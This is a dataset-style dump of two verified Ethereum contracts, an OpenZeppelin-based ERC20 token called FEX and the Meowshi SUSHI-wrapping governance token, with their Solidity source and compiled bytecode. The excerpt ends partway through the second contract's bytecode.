contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner,address indexed spender,uint256 value);
}
/* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract FexToken is StandardToken {
string public constant name = "FEX Upate Token";
string public constant symbol = "FEX";
uint8 public constant decimals = 18;
constructor() public {
totalSupply_ = 30000000000000000000000000;
balances[msg.sender] = totalSupply_;
}
}
|
0x6080604052600436106100ae5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100b3578063095ea7b31461013d57806318160ddd1461017557806323b872dd1461019c578063313ce567146101c657806366188463146101f157806370a082311461021557806395d89b4114610236578063a9059cbb1461024b578063d73dd6231461026f578063dd62ed3e14610293575b600080fd5b3480156100bf57600080fd5b506100c86102ba565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101025781810151838201526020016100ea565b50505050905090810190601f16801561012f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014957600080fd5b50610161600160a060020a03600435166024356102f1565b604080519115158252519081900360200190f35b34801561018157600080fd5b5061018a610357565b60408051918252519081900360200190f35b3480156101a857600080fd5b50610161600160a060020a036004358116906024351660443561035d565b3480156101d257600080fd5b506101db6104d2565b6040805160ff9092168252519081900360200190f35b3480156101fd57600080fd5b50610161600160a060020a03600435166024356104d7565b34801561022157600080fd5b5061018a600160a060020a03600435166105c6565b34801561024257600080fd5b506100c86105e1565b34801561025757600080fd5b50610161600160a060020a0360043516602435610618565b34801561027b57600080fd5b50610161600160a060020a03600435166024356106f7565b34801561029f57600080fd5b5061018a600160a060020a0360043581169060243516610790565b60408051808201909152600f81527f46455820557061746520546f6b656e0000000000000000000000000000000000602082015281565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60025490565b600160a060020a03831660009081526020819052604081205482111561038257600080fd5b600160a060020a03841660009081526001602090815260408083203384529091529020548211156103b257600080fd5b600160a060020a03831615156103c757600080fd5b600160a060020a0384166000908152602081905260409020546103f0908363ffffffff6107bb16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610425908363ffffffff6107cd16565b600160a060020a03808516600090815260208181526040808320949094559187168152600182528281203382529091522054610467908363ffffffff6107bb16565b600160a060020a03808616600081815260016020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b601281565b336000908152600160209081526040808320600160a060020a038616845290915281205480831061052b57336000908152600160209081526040808320600160a060020a0388168452909152812055610560565b61053b818463ffffffff6107bb16565b336000908152600160209081526040808320600160a060020a03891684529091529020555b336000818152600160209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60408051808201909152600381527f4645580000000000000000000000000000000000000000000000000000000000602082015281565b3360009081526020819052604081205482111561063457600080fd5b600160a060020a038316151561064957600080fd5b33600090815260208190526040902054610669908363ffffffff6107bb16565b3360009081526020819052604080822092909255600160a060020a0385168152205461069b908363ffffffff6107cd16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600160209081526040808320600160a060020a038616845290915281205461072b908363ffffffff6107cd16565b336000818152600160209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b6000828211156107c757fe5b50900390565b818101828110156107da57fe5b929150505600a165627a7a72305820e5d67fee86162f646f00c7288c87bf2753cb5b0f1aeb9f1115a358e80c0383a10029
|
{"success": true, "error": null, "results": {}}
| 3,970 |
0x650f44ed6f1fe0e1417cb4b3115d52494b4d9b6d
|
/**
*Submitted for verification at Etherscan.io on 2021-06-01
*/
// SPDX-License-Identifier: UNLICENSED
// @title Meowshi (MEOW) 🐈 🍣 🍱
// @author Gatoshi Nyakamoto
pragma solidity 0.8.4;
/// @notice Interface for depositing into & withdrawing from BentoBox vault.
interface IERC20{} interface IBentoBoxBasic {
function deposit(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) external payable returns (uint256 amountOut, uint256 shareOut);
function withdraw(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) external returns (uint256 amountOut, uint256 shareOut);
}
/// @notice Interface for depositing into & withdrawing from SushiBar.
interface ISushiBar {
function balanceOf(address account) external view returns (uint256);
function enter(uint256 amount) external;
function leave(uint256 share) external;
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
/// @notice Meowshi takes SUSHI/xSUSHI to mint governing MEOW tokens that can be burned to claim SUSHI/xSUSHI from BENTO with yields.
// ៱˳_˳៱ ∫
contract Meowshi {
IBentoBoxBasic constant bento = IBentoBoxBasic(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract (multinet)
ISushiBar constant sushiToken = ISushiBar(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract (mainnet)
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI token contract for staking SUSHI (mainnet)
string constant public name = "Meowshi";
string constant public symbol = "MEOW";
uint8 constant public decimals = 18;
uint256 constant multiplier = 100_000; // 1 xSUSHI BENTO share = 100,000 MEOW
uint256 public totalSupply;
/// @notice owner -> spender -> allowance mapping.
mapping(address => mapping(address => uint256)) public allowance;
/// @notice owner -> balance mapping.
mapping(address => uint256) public balanceOf;
/// @notice owner -> nonce mapping used in {permit}.
mapping(address => uint256) public nonces;
/// @notice A record of each account's delegate.
mapping(address => address) public delegates;
/// @notice A record of votes checkpoints for each account, by index.
mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account.
mapping(address => uint32) public numCheckpoints;
/// @notice The ERC-712 typehash for this contract's domain.
bytes32 constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The ERC-712 typehash for the delegation struct used by the contract.
bytes32 constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The ERC-712 typehash for the permit struct used by the contract.
bytes32 constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice Events that are emitted when an ERC-20 approval or transfer occurs.
event Approval(address indexed owner, address indexed spender, uint256 amount);
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice An event that's emitted when an account changes its delegate.
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event that's emitted when a delegate account's vote balance changes.
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
/// @notice A checkpoint for marking number of votes from a given block.
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
constructor() {
sushiToken.approve(sushiBar, type(uint256).max); // max {approve} xSUSHI to draw SUSHI from this contract
ISushiBar(sushiBar).approve(address(bento), type(uint256).max); // max {approve} BENTO to draw xSUSHI from this contract
}
/*************
MEOW FUNCTIONS
*************/
// **** xSUSHI
/// @notice Enter Meowshi. Deposit xSUSHI `amount`. Mint MEOW for `to`.
function meow(address to, uint256 amount) external returns (uint256 shares) {
ISushiBar(sushiBar).transferFrom(msg.sender, address(bento), amount); // forward to BENTO for skim
(, shares) = bento.deposit(IERC20(sushiBar), address(bento), address(this), amount, 0);
meowMint(to, shares * multiplier);
}
/// @notice Leave Meowshi. Burn MEOW `amount`. Claim xSUSHI for `to`.
function unmeow(address to, uint256 amount) external returns (uint256 amountOut) {
meowBurn(amount);
unchecked {(amountOut, ) = bento.withdraw(IERC20(sushiBar), address(this), to, 0, amount / multiplier);}
}
// **** SUSHI
/// @notice Enter Meowshi. Deposit SUSHI `amount`. Mint MEOW for `to`.
function meowSushi(address to, uint256 amount) external returns (uint256 shares) {
sushiToken.transferFrom(msg.sender, address(this), amount);
ISushiBar(sushiBar).enter(amount);
(, shares) = bento.deposit(IERC20(sushiBar), address(this), address(this), ISushiBar(sushiBar).balanceOf(address(this)), 0);
meowMint(to, shares * multiplier);
}
/// @notice Leave Meowshi. Burn MEOW `amount`. Claim SUSHI for `to`.
function unmeowSushi(address to, uint256 amount) external returns (uint256 amountOut) {
meowBurn(amount);
unchecked {(amountOut, ) = bento.withdraw(IERC20(sushiBar), address(this), address(this), 0, amount / multiplier);}
ISushiBar(sushiBar).leave(amountOut);
sushiToken.transfer(to, sushiToken.balanceOf(address(this)));
}
// **** SUPPLY MGMT
/// @notice Internal mint function for *meow*.
function meowMint(address to, uint256 amount) private {
balanceOf[to] += amount;
totalSupply += amount;
_moveDelegates(address(0), delegates[to], amount);
emit Transfer(address(0), to, amount);
}
/// @notice Internal burn function for *unmeow*.
function meowBurn(uint256 amount) private {
balanceOf[msg.sender] -= amount;
unchecked {totalSupply -= amount;}
_moveDelegates(delegates[msg.sender], address(0), amount);
emit Transfer(msg.sender, address(0), amount);
}
/**************
TOKEN FUNCTIONS
**************/
/// @notice Approves `amount` from msg.sender to be spent by `spender`.
/// @param spender Address of the party that can draw tokens from msg.sender's account.
/// @param amount The maximum collective `amount` that `spender` can draw.
/// @return (bool) Returns 'true' if succeeded.
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/// @notice Triggers an approval from owner to spends.
/// @param owner The address to approve from.
/// @param spender The address to be approved.
/// @param amount The number of tokens that are approved (2^256-1 means infinite).
/// @param deadline The time at which to expire the signature.
/// @param v The recovery byte of the signature.
/// @param r Half of the ECDSA signature pair.
/// @param s Half of the ECDSA signature pair.
function permit(address owner, address spender, uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
unchecked {bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), 'Meowshi::permit: invalid signature');
require(signatory == owner, 'Meowshi::permit: unauthorized');}
require(block.timestamp <= deadline, 'Meowshi::permit: signature expired');
allowance[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/// @notice Transfers `amount` tokens from `msg.sender` to `to`.
/// @param to The address to move tokens `to`.
/// @param amount The token `amount` to move.
/// @return (bool) Returns 'true' if succeeded.
function transfer(address to, uint256 amount) external returns (bool) {
balanceOf[msg.sender] -= amount;
unchecked {balanceOf[to] += amount;}
_moveDelegates(delegates[msg.sender], delegates[to], amount);
emit Transfer(msg.sender, to, amount);
return true;
}
/// @notice Transfers `amount` tokens from `from` to `to`. Caller needs approval from `from`.
/// @param from Address to draw tokens `from`.
/// @param to The address to move tokens `to`.
/// @param amount The token `amount` to move.
/// @return (bool) Returns 'true' if succeeded.
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
if (allowance[from][msg.sender] != type(uint256).max) {
allowance[from][msg.sender] -= amount;
}
balanceOf[from] -= amount;
unchecked {balanceOf[to] += amount;}
_moveDelegates(delegates[from], delegates[to], amount);
emit Transfer(from, to, amount);
return true;
}
/*******************
DELEGATION FUNCTIONS
*******************/
/// @notice Delegate votes from `msg.sender` to `delegatee`.
/// @param delegatee The address to delegate votes to.
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/// @notice Delegates votes from signatory to `delegatee`.
/// @param delegatee The address to delegate votes to.
/// @param nonce The contract state required to match the signature.
/// @param expiry The time at which to expire the signature.
/// @param v The recovery byte of the signature.
/// @param r Half of the ECDSA signature pair.
/// @param s Half of the ECDSA signature pair.
function delegateBySig(address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), 'Meowshi::delegateBySig: invalid signature');
unchecked {require(nonce == nonces[signatory]++, 'Meowshi::delegateBySig: invalid nonce');}
require(block.timestamp <= expiry, 'Meowshi::delegateBySig: signature expired');
return _delegate(signatory, delegatee);
}
/***************
GETTER FUNCTIONS
***************/
/// @notice Get current chain.
function getChainId() private view returns (uint256) {
uint256 chainId;
assembly {chainId := chainid()}
return chainId;
}
/// @notice Gets the current votes balance for `account`.
/// @param account The address to get votes balance.
/// @return The number of current votes for `account`.
function getCurrentVotes(address account) external view returns (uint256) {
unchecked {uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;}
}
/// @notice Determine the prior number of votes for an `account` as of a block number.
/// @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
/// @param account The address of the `account` to check.
/// @param blockNumber The block number to get the vote balance at.
/// @return The number of votes the `account` had as of the given block.
function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256) {
require(blockNumber < block.number, 'Meowshi::getPriorVotes: not yet determined');
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {return 0;}
unchecked {
// @dev First check most recent balance.
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {return checkpoints[account][nCheckpoints - 1].votes;}
// @dev Next check implicit zero balance.
if (checkpoints[account][0].fromBlock > blockNumber) {return 0;}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {upper = center - 1;}}
return checkpoints[account][lower].votes;}
}
/***************
HELPER FUNCTIONS
***************/
function _delegate(address delegator, address delegatee) private {
address currentDelegate = delegates[delegator];
uint256 delegatorBalance = balanceOf[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) private {
unchecked {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld - amount;
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld + amount;
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) private {
uint32 blockNumber = safe32(block.number);
unchecked {
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
/// @notice Enables calling multiple methods in a single call to this contract.
function multicall(bytes[] calldata data) external returns (bytes[] memory results) {
results = new bytes[](data.length);
unchecked {
for (uint256 i = 0; i < data.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(data[i]);
if (!success) {
if (result.length < 68) revert();
assembly {result := add(result, 0x04)}
revert(abi.decode(result, (string)));
}
results[i] = result;
}}
}
function safe32(uint256 n) private pure returns (uint32) {
require(n < 2**32, 'Meowshi::_writeCheckpoint: block number exceeds 32 bits'); return uint32(n);}
}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806370a08231116100c3578063b4b5ea571161007c578063b4b5ea5714610368578063c3cda5201461037b578063d505accf1461038e578063dd62ed3e146103a1578063e6ff41eb146103cc578063f1127ed8146103df57600080fd5b806370a08231146102bf578063782d6fe1146102df5780637ecebe00146102f257806395d89b4114610312578063a9059cbb14610335578063ac9650d81461034857600080fd5b8063313ce56711610115578063313ce567146101ee5780633c0adb6814610208578063587cde1e1461021b5780635c19a95c1461025c578063642ed500146102715780636fcfff451461028457600080fd5b806306fdde0314610152578063095ea7b31461018e57806318160ddd146101b15780631b04a34f146101c857806323b872dd146101db575b600080fd5b610178604051806040016040528060078152602001664d656f7773686960c81b81525081565b6040516101859190611f49565b60405180910390f35b6101a161019c366004611c46565b610436565b6040519015158152602001610185565b6101ba60005481565b604051908152602001610185565b6101ba6101d6366004611c46565b6104a3565b6101a16101e9366004611ba2565b610560565b6101f6601281565b60405160ff9091168152602001610185565b6101ba610216366004611c46565b61067c565b610244610229366004611b56565b6004602052600090815260409020546001600160a01b031681565b6040516001600160a01b039091168152602001610185565b61026f61026a366004611b56565b6108a7565b005b6101ba61027f366004611c46565b6108b4565b6102aa610292366004611b56565b60066020526000908152604090205463ffffffff1681565b60405163ffffffff9091168152602001610185565b6101ba6102cd366004611b56565b60026020526000908152604090205481565b6101ba6102ed366004611c46565b610ae3565b6101ba610300366004611b56565b60036020526000908152604090205481565b610178604051806040016040528060048152602001634d454f5760e01b81525081565b6101a1610343366004611c46565b610d0f565b61035b610356366004611d04565b610da3565b6040516101859190611eb4565b6101ba610376366004611b56565b610f13565b61026f610389366004611c6f565b610f77565b61026f61039c366004611bdd565b611264565b6101ba6103af366004611b70565b600160209081526000928352604080842090915290825290205481565b6101ba6103da366004611c46565b61159e565b61041a6103ed366004611cc6565b60056020908152600092835260408084209091529082529020805460019091015463ffffffff9091169082565b6040805163ffffffff9093168352602083019190915201610185565b3360008181526001602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104919086815260200190565b60405180910390a35060015b92915050565b60006104ae8261169a565b60405163097da6d360e41b815273f5bce5077908a1b7370b9ae04adc565ebd643966906397da6d309061050790738798249c2e607446efb7ad49ec89dd1865ff42729030908890600090620186a08a0490600401611f15565b6040805180830381600087803b15801561052057600080fd5b505af1158015610534573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105589190611e55565b509392505050565b6001600160a01b0383166000908152600160209081526040808320338452909152812054600019146105c5576001600160a01b0384166000908152600160209081526040808320338452909152812080548492906105bf908490611fdf565b90915550505b6001600160a01b038416600090815260026020526040812080548492906105ed908490611fdf565b90915550506001600160a01b038084166000818152600260209081526040808320805488019055888516835260049091528082205492825290205461063792918216911684611713565b826001600160a01b0316846001600160a01b031660008051602061204f8339815191528460405161066a91815260200190565b60405180910390a35060019392505050565b6040516323b872dd60e01b815233600482015230602482015260448101829052600090736b3595068778dd592e39a122f4f5a5cf09c90fe2906323b872dd90606401602060405180830381600087803b1580156106d857600080fd5b505af11580156106ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107109190611d74565b50604051632967cf8360e21b815260048101839052738798249c2e607446efb7ad49ec89dd1865ff42729063a59f3e0c90602401600060405180830381600087803b15801561075e57600080fd5b505af1158015610772573d6000803e3d6000fd5b50506040516370a0823160e01b8152306004820181905273f5bce5077908a1b7370b9ae04adc565ebd64396693506302b9446c9250738798249c2e607446efb7ad49ec89dd1865ff427291819083906370a082319060240160206040518083038186803b1580156107e257600080fd5b505afa1580156107f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081a9190611e3d565b60006040518663ffffffff1660e01b815260040161083c959493929190611f15565b6040805180830381600087803b15801561085557600080fd5b505af1158015610869573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088d9190611e55565b915061049d9050836108a2620186a084611fc0565b61183f565b6108b133826118dc565b50565b60006108bf8261169a565b60405163097da6d360e41b815273f5bce5077908a1b7370b9ae04adc565ebd643966906397da6d309061091890738798249c2e607446efb7ad49ec89dd1865ff42729030908190600090620186a08a0490600401611f15565b6040805180830381600087803b15801561093157600080fd5b505af1158015610945573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109699190611e55565b506040516367dfd4c960e01b815260048101829052909150738798249c2e607446efb7ad49ec89dd1865ff4272906367dfd4c990602401600060405180830381600087803b1580156109ba57600080fd5b505af11580156109ce573d6000803e3d6000fd5b50506040516370a0823160e01b8152306004820152736b3595068778dd592e39a122f4f5a5cf09c90fe2925063a9059cbb9150859083906370a082319060240160206040518083038186803b158015610a2657600080fd5b505afa158015610a3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a5e9190611e3d565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b158015610aa457600080fd5b505af1158015610ab8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610adc9190611d74565b5092915050565b6000438210610b4c5760405162461bcd60e51b815260206004820152602a60248201527f4d656f777368693a3a6765745072696f72566f7465733a206e6f74207965742060448201526919195d195c9b5a5b995960b21b60648201526084015b60405180910390fd5b6001600160a01b03831660009081526006602052604090205463ffffffff1680610b7a57600091505061049d565b6001600160a01b038416600090815260056020908152604080832063ffffffff600019860181168552925290912054168310610be9576001600160a01b03841660009081526005602090815260408083206000199490940163ffffffff1683529290522060010154905061049d565b6001600160a01b038416600090815260056020908152604080832083805290915290205463ffffffff16831015610c2457600091505061049d565b600060001982015b8163ffffffff168163ffffffff161115610cd8576000600263ffffffff848403166001600160a01b038916600090815260056020908152604080832094909304860363ffffffff8181168452948252918390208351808501909452805490941680845260019094015490830152925090871415610cb35760200151945061049d9350505050565b805163ffffffff16871115610cca57819350610cd1565b6001820392505b5050610c2c565b506001600160a01b038516600090815260056020908152604080832063ffffffff9094168352929052206001015491505092915050565b33600090815260026020526040812080548391908390610d30908490611fdf565b90915550506001600160a01b038084166000818152600260209081526040808320805488019055338352600490915280822054928252902054610d7892918216911684611713565b6040518281526001600160a01b03841690339060008051602061204f83398151915290602001610491565b60608167ffffffffffffffff811115610dcc57634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610dff57816020015b6060815260200190600190039081610dea5790505b50905060005b82811015610adc5760008030868685818110610e3157634e487b7160e01b600052603260045260246000fd5b9050602002810190610e439190611f5c565b604051610e51929190611ea4565b600060405180830381855af49150503d8060008114610e8c576040519150601f19603f3d011682016040523d82523d6000602084013e610e91565b606091505b509150915081610edd57604481511015610eaa57600080fd5b60048101905080806020019051810190610ec49190611d94565b60405162461bcd60e51b8152600401610b439190611f49565b80848481518110610efe57634e487b7160e01b600052603260045260246000fd5b60209081029190910101525050600101610e05565b6001600160a01b03811660009081526006602052604081205463ffffffff1680610f3e576000610f70565b6001600160a01b03831660009081526005602090